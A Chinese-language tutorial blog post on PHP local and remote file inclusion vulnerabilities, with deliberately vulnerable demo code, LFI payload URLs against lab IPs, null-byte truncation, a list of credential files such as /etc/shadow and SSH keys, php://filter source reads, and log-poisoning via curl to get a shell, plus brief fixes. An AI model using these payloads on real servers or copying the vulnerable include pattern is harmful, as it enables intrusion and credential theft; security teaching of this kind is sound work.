文件包含漏洞

文件包含漏洞

0x01 产生原因

在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入
分类

  • 本地文件包含

    当被包含的文件在服务器本地时,就形成本地文件包含

  • 远程文件包含
    当被包含的文件在第三方服务器时,叫做远程文件包含

需要:
php.ini
allow_url_fopen     on
allow_url_include   on

php常见包含文件函数

include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once()
功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
require()
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行
使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用
require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。
require_once()
它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

总结:

incluce 在用到时加载
require 在一开始就加载
_once 后缀表示已加载的不加载

require能让php的程序得到更高的效率,在同一php文件中解释过一次后,不会再解释第二次。而include却会重复的解释包含的文件。

0x02 漏洞危害

执行任意脚本代码
控制网站
控制整台服务器

0x03 漏洞利用

本地文件包含

上传图片(含有php代码的图片)
读文件,读php文件
包含日志文件getshell
包含/proc/self/envion文件getshell
如果有phpinfo可以包含临时文件
包含data://或php://input等伪协议(需要allow_url_include=On)

包含图片的文件上传
demo 1

<?php
if ($_GET[page]) { 
include($_GET[page]); 
} 
else {
include "show.php";
}

图片php.jpg

<? php
phpinfo();
?>
http://172.16.77.145/lfi/1/index.php?page=uploads/20160726205659190.jpg

demo 2

<?php
if ($_GET[page]) { 
include("./action/".$_GET[page]); 
} else {
include "./action/show.php";
}
http://172.16.77.145/lfi/2/index.php?page=../uploads/20160726212921768.jpg

demo 3

<?php
if ($_GET[page]) { 
include("./action/".$_GET[page].".php"); 
} else {
include "./action/show.php";
}
http://172.16.77.145/lfi/3/index.php?page=../uploads/20160726215833287.jpg%00

%00截断

  • /etc/passwd%00

  • ( 需要magic_quotes_gpc=off PHP< 5.3.4 )

路径长度截断

/etc/passwd/././././././.[...]/./././././.

php版本小于5.2.8,linux需要文件名长于4096,windows需要大于256

读文件

index.php?file=/etc/passwd

敏感文件

/root/.ssh/authorized_keys 
/root/.ssh/id_rsa 
/root/.ssh/id_rsa.keystore 
/root/.ssh/id_rsa.pub 
/root/.ssh/known_hosts 
/etc/shadow 
/root/.bash_history 
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件标识符) 
/proc/mounts
/proc/config.gz

读取php文件

index.php?file=php://filter/read=convert.base64-encode/resource=ctf.php

包含日志文件getshell(需要一定读权限)

  1. 首先找到日志文件存放位置,利用文件包含漏洞去读取

    apache 日志默认在

    /etc/httpd/logs/access_log

    index.php?page=/var/log/httpd/access_log

    也可以先找apache配置文件,通过配置文件找到日志路径

    /etc/httpd/conf/httpd.conf

     index.php?page=/etc/init.d/httpd

    window 2003+iis6.0 日志文件默认放在

    C:\WINDOWS\system32\Logfiles

    配置文件默认在

    C:\Windows/system32\inetsrv\metabase.xml

    iis 7日志文件默认在

    %SystemDrive%\inetpub\logs\LogFiles

    配置文件默认目录

    C:\Windows\System32\inetsrv\config\applicationHost.config

    nginx

    日志文件在用户安装目录logs目录下

    以我的安装路径为例/usr/local/nginx,
    那我的日志目录就是在/usr/local/nginx/logs里
  2. 让日志文件插入php代码
    方法一
    使用burpsuit抓包访问
    方法二
    curl 访问不存在的url

    curl "http://192.168.192.1/a.php?=<?php phpinfo(); ?>"
  3. 包含日志文件
    找到有包含漏洞的url包含日志文件
    利用条件

    • 有权限 包含日志文件
    • 可以在找到日志文件位置的时候,包含一下,提示权限拒绝就不能利用

    demo

    http://172.16.77.145/lfi/1/index.php?page=/etc/httpd/logs/access_log

    远程文件包含
    条件

    php.ini

    allow_url_fopen     on
    allow_url_include   on

0x04 漏洞挖掘

特定的cms,特定的版本
web漏洞扫描器扫描

0x05 修复方案

php.ini 中open_basedir 限制访问在指定区域
过滤. / \
禁止服务器远程文件包含

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值